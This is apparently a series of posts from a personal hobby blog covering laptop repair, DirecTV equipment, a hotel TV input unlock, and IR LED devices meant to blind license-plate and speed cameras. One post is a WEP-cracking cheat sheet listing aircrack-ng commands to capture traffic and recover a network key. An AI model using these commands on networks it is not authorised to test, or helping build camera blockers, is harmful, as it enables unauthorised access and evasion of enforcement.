Some more news on IR LED photo blocking

Saw an article in the Washington Post today that DC is using 38+ cameras around the region to read license plates.  They are building a database to be able to track the movements of cars around the region.  While this is great for catching stolen cars, it apparently caught a cheating wife who the husband had reported missing.
http://www.washingtonpost.com/local/license-plate-readers-a-useful-tool-for-police-comes-with-privacy-concerns/2011/11/18/gIQAuEApcN_story.html

This seemed like a perfect application for my IR LED speed camera blocker frame, because the article says that this technology uses and IR camera to read the plate.  
http://blog.workingsi.com/2011/05/ir-led-speedred-light-photo-blocker.html

I looked a little more and found a wikipedia on the subject no less.  I guess my idea is pretty common at this point :-(.    Plus it  looks like Texas even has a law against this sort of thing.  Be careful out there.

This is from Wikipedia http://en.wikipedia.org/wiki/Automatic_number_plate_recognition

Circumvention techniquesVehicle owners have used a variety of techniques in an attempt to evade ANPR systems and road-rule enforcement cameras in general. One method increases the reflective properties of the lettering and makes it more likely that the system will be unable to locate the plate or produce a high enough level of contrast to be able to read it. This is typically done by using a plate cover or a spray, though claims regarding the effectiveness of the latter are disputed. In most jurisdictions, the covers are illegal and covered under existing laws, while in most countries there is no law to disallow the use of the sprays.^[14] Other users have attempted to smear their license plate with dirt or utilize covers to mask the plate.
Novelty frames around Texas license plates were made illegal in Texas on 1 September 2003 by Texas Senate Bill 439 because they caused problems with ANPR devices. That law made it a Class C misdemeanor (punishable by a fine of up to US $200), or Class B (punishable by a fine of up to US $2,000 and 180 days in jail) if it can be proven that the owner did it to deliberately obscure their plates.^[15] The law was later clarified in 2007 to allow Novelty frames.
If an ANPR system cannot read the plate it can flag the image for attention, with the human operators looking to see if they are able to identify the alphanumerics.
In order to avoid surveillance or penalty charges, there has been an upsurge in car cloning. This is usually achieved by copying registration plates from another car of a similar model and age. This can be difficult to detect, especially as cloners may change the registration plates and travel behavior to hinder investigations.
Other possible options include IR emitting LEDs around the license plate which would serve to "blind" cameras.

Replacing a keyboard in an Acer 5741 laptop, liquid spill

We have an Acer Aspire 5741G-6983 laptop that I paid over $600 for 1.5 years ago.  It is a pretty good laptop with i5 processor and stand alone graphics.  My son spilled milk on the keyboard and several of the keys stopped working.   Nothing else is wrong, still works perfectly if you don't use words with those letters.  The laptop seems to be designed to contain liquids in the keyboard.   Applying alcohol didn't help.  I tried heating the laptop with a hair dryer and only succeeded in melting a key.   I used burn-in software to heat it up from the inside and let it bake for hours.  Nada.

I've been happy with Acer laptops, they offer a lot of performance for the money, and have held up to fairly rough usage by teenagers.  I'm not willing to trash this laptop yet.

I found a replacement keyboard on line and stupidly bought it without fully searching Amazon first.  Google shopping indicated that Amazon would be $65.  So when I found one for $25 + $10 shipping I pounced:
http://www.itec4less.com/Products/KB.I170A.056

Later on I was searching for some instructions, since it is not obvious how to pry open the laptop, and found it on Amazon for $20, free shipping.  Doh!  $15 wasted.

Before doing any research, I charged in trying to take it apart, removed all the screws from the bottom, under the covers, etc.  The keyboard is NOT coming out.   OK time to do some web surfing.

Making note of some links to places with some instructions.  

This site is pretty vague:

http://www.aztex.biz/laptop-repair-tips/acer-laptop-keyboard/

These don't seem to describe the right laptop

http://www.ehow.com/how_5136146_replace-acer-aspire-laptop-keyboard.html

http://www.ehow.com/how_7166224_replace-acer-aspire-5920-keyboard.html

Found a service manual for this model...sweet!

http://tim.id.au/laptops/acer/aspire%205741%205741g.pdf

This page from the manual says it all!

There are little "locks" along the top edge of the keyboard, and I didn't have to take the back off at all.  The keyboard is supposed to lift out, however it took some picking and prying to figure out that the whole black area comes up once the six or so tiny spring clips are pushed in.  Had to stick a thin screwdriver under the top edge of the keyboard to pry it up.   One ribbon connector and it's loose.  The black plastic strip along the ribbon connector needs to be pushed towards the ribbon and the ribbon comes right out.

Here is the laptop with the keyboard removed, and otherwise working just fine.  In closeup you can see all the milk residue even under the keyboard.  So i guess the keyboard has holes.

I feel really stupid right now.  Once you know how, the keyboard on these Acer laptops is very easy to replace.  I opened up the back, pried and pulled and worked it and had decided it couldn't be done.  If  I had done my research, i wouldn't have risked opening the back of laptop at all, since the keyboard pops of the front without hardly taking anything apart.

Now I wait for the new keyboard to come in the mail and see if I'm in business.  Hopefully all my needless dis-assembly didn't ruin anything.

New keyboard is here!

PUshed the ribbon cable into the connector and pushed the black clamp strip back up to hold it.  Snapped down the new keyboard.  And powered up.

W000T!  double w00t.   The laptop is as good as new.  The keyboard is clean and new and works perfectly.  Here it is working and with words i typed on the screen as proof.

Buying Used DirecTV receivers from eBay

If you have Directv service, and don't mind standard definition, life is good for you too.

Recently I added a TV for a teenager,  and thought I'd share the knowledge.  All you have to do is buy a used receiver (why not get a DVR) off of ebay and activate it.   If you get a receiver new from Directv or any other retailer, you don't own it you lease it and can't resell it.  There may be contract implications and additional fees too, I don't know, I stay off the grid.   Search for directvR10 or DSR708.  People are selling these cheap because they have upgraded to HDTV.  They still work great.

I paid $40 "buy it now" because I didn't want to wait and bid.    If you bid you can probably get one for $20.  I have in the past.  DVR came with a remote that is worth $20 alone.  Some people are charging more, but that doesn't mean you can't find a good deal from a good seller if you shop around.  I got this one:

 Directv TiVo DVR R10 TV Receiver w/Remote

http://www.ebay.com/itm/250927020568?ssPageName=STRK:MEWNX:IT&_trksid=p3984.m1497.l2649#ht_1470wt_1165

Hook it up using a multiswitch to split your existing cables from the dish, or add another dish.   All from ebay.    I got this one for $9, free shipping.

 New Zinwell MS3X4WB-Z Directv Approved 3x4 Multiswitch

http://www.ebay.com/itm/280712686789?ssPageName=STRK:MEWNX:IT&_trksid=p3984.m1497.l2649#ht_499wt_1185

You can have at least 20 dishes and receivers if you want on one account. You can move them to your vacation home, etc.

Just call directv and tell them you bought a used receiver and want to activate it when it comes in the mail.  I don't know if there are any restrictions on using a used receiver, but I have done this at least 5 times between adding and replacing old dead units.   You used to be able to reuse the card that is in it, but no more.  Directv will make you buy a new card for $20 and will mail it to you.  Make sure they mark the receiver as owned rather than used in your account.  This should be no problem since these are so old, it wasn't for me.  They do charge $6/month for every receiver, so it isn't totally free.

WEP Hacking - Single page cheat sheet

Work has been crazy lately so no time for hobbies. This post is just a summary of the commands I learned in:http://blog.workingsi.com/2011/08/playing-around-with-hacking-wep.html that I can refer to easily from my phone when working on the road. This uses backtrack penetration testing linux loaded on a USB. Computer is rebooted from the USB into backtrack linux. startx starts the environment at the prompt.  Open terminals to execute these commands:

• airmon-ng stop wlan0
• airmon-ng start wlan0
• initializes the card.  wlan0 is the card name
  
• airodump-ng wlan0
• Find networks with WEP and write down channel, bssid, essid , Hit ctrl-c to stop
• airodump-ng -w wep -c <number> --bssid <bssid> wlan0
• points the wireless card to the network you picked
  
• aireplay-ng -1 0 -a <bssid> wlan0
• initiates association with network. comes back association successful
• aireplay-ng -3 -b <bssid> wlan0"  
• Makes traffic and sniffs it.  Go back to the first terminal and watch the data column, run until data hits 30,000. 
•  dir
•  a file will be created *.cap that will have the wireless data captured
• aircrack-ng wep-01.cap
• And it will return the WEP key

Disclaimer:  This is not admission that I have ever hacked WiFI, or that you should steal WiFi bandwidth.  People who use WEP networks are human too and should be respected and not harmed in any way.   Use this only for networks you are allowed to connect to.

Tip for switching video inputs on the hotel TV

This is how to easily bypass this system and watch videos from your laptop on a hotel set.
(If you don't want to read my story, the second picture shows you what to do)

Recently I stayed at an Embassy Suites hotel in Maryland, and they had a nice LG HDTV and an OnCommand remote control with a box on the back labelled OnCommand as well.  I think the system may be built by LodgeNet.

I had brought some DVD's and we wanted to watch a movie using my laptop as the video source and the room HDTV.  That sounds fairly reasonable, right?   Lots of people want to hook up a PS3 video game console, or use streaming movies, netflix, slingbox, and the like and watch video from their own laptop while staying at a hotel.   I should be able to use this HDTV as the monitor, I payed to rent the room!

First I wasted $25 at the neighboring best buy buying an HDMI cable, because I noted that the TV had HDMI connectors on the back and my laptop has an HDMI output.  I could have gone VGA but then I'd have to listen to the sound from the laptop, which is horrible, or have an audio cable plugged into the headphone jack too.  HDMI will also carry sound to the TV.    HDMI cables are a major profit source for Bestbuy because people price shop for the tv and then buy a stupid $50 cable to give them back the profit.   The cheapest they had was $25.  Now high quality cables do make a difference for long runs or marginal equipment, but if you only need a 3 foot cable, a $1.50 cable from monoprice is fine.  I know all about cable bandwidth, speckles and dropped bits, but that is a post for another time.  I should have packed a cable from home, but you can't bring everything.

I get back and I plug the HDMI cable into the TV and laptop and go to switch the input to the AUX or HDMI 1 source.  Whoops, no button on the hotel remote to do that.   I go to the set and push the input button on the side.   Nothing.  It is clearly disabled.   The menu button doesn't work either.  I can't change channels to the new video source either.   Curse you red baron!!!!!!!!   The hotel has lobotomized the TV.  I can sympathize because the hotel doesn't want every new guest calling up that the TV is messed up and all that needs to be done is to change the inputs back to the hotel feed.  So they save a lot of time and headaches with a TV that only tunes to the channels that work.   They also are looking to earn a buck from pay movies too, that is a little less understandable.

At first I thought the solution was to go back to the best buy and get a universal remote so I could push the input/menu buttons.  But I didn't want to spend any more money and the family was getting tired of waiting.   Years ago I used to carry a universal remote on business travel because that was the way to see the blocked channels with the old analog hotel systems. The old time hack was to simply connect the coax cable from the wall directly to the TV (a car key wedged in the metal shield turns it) and bypass the extra hotel box to see the pay per view movies using the universal remote to change channels directly on the TV.  Ahh the old days when technology was so easy to hack.   I'm sure it is not that much harder these days.  I don't want to see their crappy pay per view movies, the laptop has all the video anyone would ever need.

A little googling gave me this
http://boardingarea.com/blogs/traveltechtalk/2008/01/27/hack-the-hotel-tv-watch-what-you-want-on-it/
It has a bunch of suggestions and random information about universal remotes, installer remotes, TV hospitality mode.  It looks like a lot depends on what equipment you are facing.  It definitely isn't worth buying a universal remote until I try some basic unplugging.

The first thing I tried worked!   There is a grey phone line cable that connects from the back of the TV to the parasitic OnCommand box on the back (I saw a similar thing with bugs hanging on your back in star trek and doctor who ).    I simply unclipped the phone cable from the box and let it hang.  Now the input buttons work on the side of the TV and I can change inputs.  TV is unlocked!  Woot!   I plugged in the cable to the HDMI input and laptop and played the movie.  Family hero.

I simply reconnected the grey phone cable when I was done, turned off the set and turned it back on and it was back to hotel normal.  No worries.

Just so you don't miss the hacking fun, on the first try of disconnecting the phone cable, the TV went dead for a minute and wouldn't turn on.  I thought I was going to have to call the front desk and play dumb, but turns out I accidentally knocked the power plug loose turning the TV around.  :-)  Unhooking power and putting it back in fixed the issue.   False alarm.  But as a last resort if things go wonky on you, unplug the TV from the wall and plug it back in after you remove or reconnect the phone cord and all should be right again.  I later confirmed that unplugging the TV from the wall between steps is not necessary to reset the box, I went back and forth several times from locked to unlocked during our stay.

Update... stayed in a Hilton Garden in Texas and it also had an LG TV, but the grey hotel box was hidden down inside a cabinet out of sight.  There was the same grey phone cable plugged into the back of the set, and the input button didn't work.  Simply unplugged the phone cable from the back of the set and I can now change inputs to HDMI using the buttons on the side of the set.  Plugged it back in when I left and it went back to working like a lobotomized hotel TV.

Is this a red light camera blocker?

I pulled in a parking lot behind this guy yesterday.   Not sure if you can tell from the photo, but the area around the license plate was entirely mirrored.  In the bottom center of the plate a hole was drilled in the license plate that was larger than a quarter, maybe a silver dollar.  Whoa!

Either he had a serious "bling" addiction, or he was up to something.  I couldn't tell what.  It looked like some of the things I discussed in my other posts on building a red light/speed camera blocker.   I was considering making some small holes in my plate for lights.
http://blog.workingsi.com/2011/06/improved-high-power-ir-led-speedred.html
http://blog.workingsi.com/2011/05/ir-led-speedred-light-photo-blocker.html

I took a photo with a flash and without a flash on a cloudy day, from inside my car.   As you can see there were no lights or flashback.  However the car was not running so maybe they were off.  If he was just relying on the mirror it didn't work!   Sorry about posting your license plate on the web dude, but it was so outrageous I had to do it.

Installing a DirecTV 5LNB Dish

Despite being "Mr. Hi Tech", I've made my family suffer with SDTV.   They don't much care about the picture, and the direcTV SD digital signal looks pretty good as it is.   Wifey loves the TiVo and all the channels, high recording capacity, etc so there has been no reason to upset the apple cart.   I've been buying used DVRs and upgrading storage (a hobby that predates starting this blog) and have recorders with 100s of hours of space and she has years of stuff saved.  You can buy these things for <$40 on ebay, people practically give them away. http://www.ebay.com/itm/DIRECTV-DVR-R-10-TIVO-RECEIVER-/220870495244?pt=LH_DefaultDomain_0&hash=item336ce84c0c#ht_499wt_1416  There is no TiVo for directv HDTV, only knockoffs.  So no reason to break something that is working.

However I decided to upgrade my dish to HDTV capable, in case this Christmas I weaken and decide to move to HDTV.    Of course I don't want the directv install monkeys at my house, I'm going to do it myself.  Then I can just pick up a receiver at my leisure and activate it.  My plan is to install it myself and align it just using the signal meter on the screen. 

I have the older 2LNB and 3LNB dishes on my house that won't work with the current HDTV broadcast and HDTV local channels.  I need to upgrade to a 5LNB Slimline Dish.  These used to be expensive but have come down over the years.   5LNB is needed to receive 101°, 110°, 119° degree satellites, plus the new Ka Satellite (99°, 103°) for local HD MPEG4 programming.

There are two types of 5LNB.  The difference is only in the LNB head, and the heads can be swapped without taking down the dish.  The heads look like this.   Note the four connectors at the bottom.


The newer ones have SWM in the name, and have both channels multiplexed onto one wire.  With those you will see one red cable connection.  The older ones have four, and work like the old fashioned ones that require a multiswitch to split.  Apparently the newest receivers use SWM and if you have the old style two wires you need an adapter.  I decided to go with the old style SL5 LNB instead of paying more for a SLF-SWM LNB since my house is already wired with the old style.  Plus the old style LNB is $50 cheaper.   If I went SWM I'd have to climb into my attic and replace my multiswitch and buy a power inserter and adapters for all my old boxes.  Blah. 

Bought a dish off ebay, got this one:

SLIMLINE DIRECTV SL5 LNB HD MULTI SATELLITE DISH KAKU

http://www.ebay.com/itm/330574076545?ssPageName=STRK:MEWNX:IT&_trksid=p3984.m1497.l2649#ht_2588wt_1165
$98 was the lowest total cost I found between price and shipping.  I had $6 in ebay bucks so that came off and I paid $92.  Note that these things are big and heavy and some people charge $30 for shipping, so watch out.  Shipping is fair but that doesn't mean I have to pay it ;-).   I tried Amazon, Weaknees, Ebay, Froogle.  Seller had reasonable feedback and I got it in a week.  Looks new, all the parts, Win!   You might do better from a private seller on a used dish if you work at it a bit and bid.

The dish came with no instructions, and even for a mechanically adept and experienced dish assembler, it is not obvious how it goes together.    So I found this doc on the web:
http://manuals.solidsignal.com/Slimline_Dish_Installation_Manual.pdf
I fired up the signal meter in the guided satellite setup on one of my TiVo DVR's and encountered a setback.  My receivers don't give you the option to pick anything past a 3LNB.  So I won't be able to fully align this dish but I think I can at least align it to work with the boxes I have, and tweak it in if needed when I finally get the HD DVR.

However I need to know the azimuth, elevation and tilt for this dish. Since my receiver doesn't support it, it doesn't tell me the tilt.  So I looked around the web.
http://www.csgnetwork.com/antennasatelazposcalc.html
Found the directv satellites in the list, but still can't get tilt from this tool

Bingo!  http://www.dishpointer.com/ This tool allows you to enter your location, select Directv 5 LNB from under the multi-LNB Setups and gives me the skew/tilt.  

Your Location	Satellite Data	Dish Setup Data
Latitude: 39.0993° Longitude: -76.8483°	Name: DirecTV 5 LNB (99, 101, 103, 110, 119W) Distance: 37919km	Elevation:  38.3° Azimuth (true):  215.4° Azimuth (magn.):  226.4° Dish Skew [?]:  63.3°

These numbers disagree slightly from the Directv basic tool, 225.1/38.4
Also the three LNB setup said 56 degree tilt.   So it looks like I will be doing some hunting.


Found an app called SatelliteAR.  Neat.  You can search the database for "directv" and it will show you only those 5 satellites.    Hold up the smartphone and you see where they are.  It is a little imprecise of course, but you get a good general idea if you are looking in the right direction and if a tree is in your line of sight.
http://www.dishpointer.com/2009/augmented-reality-satellite-finder/

 https://market.android.com/details?id=com.agi.android.augmentedreality&feature=search_result

I assembled the dish according to the instructions, which were pretty bad on the assembly section.  I aligned it roughly like they say in the document too.  Note that I used the 3LNB setting on my receiver and was able to get it to work just fine.  At least I'm back to getting all the stuff I was before.  I won't know if the HDTV alignment is good until I get an HDTV receiver.  I plan to tweak it in at that point.

If you are wondering if you can align a satellite dish yourself, the answer is yes if you can hold a wrench and have ears.   I find it's best to set things up so you can hear the satellite signal strength meter tone from the settings menu from where you are aligning the dish.  Just move it around slowly until you hear the tone.  Done.  I have used two cell phones when I'm too far away to just turn up the TV volume to max.   Using a second person to watch the meter is ok too, but they often get bored and complain a lot :-).

I will update this post in a few months when I get and HDTV receiver.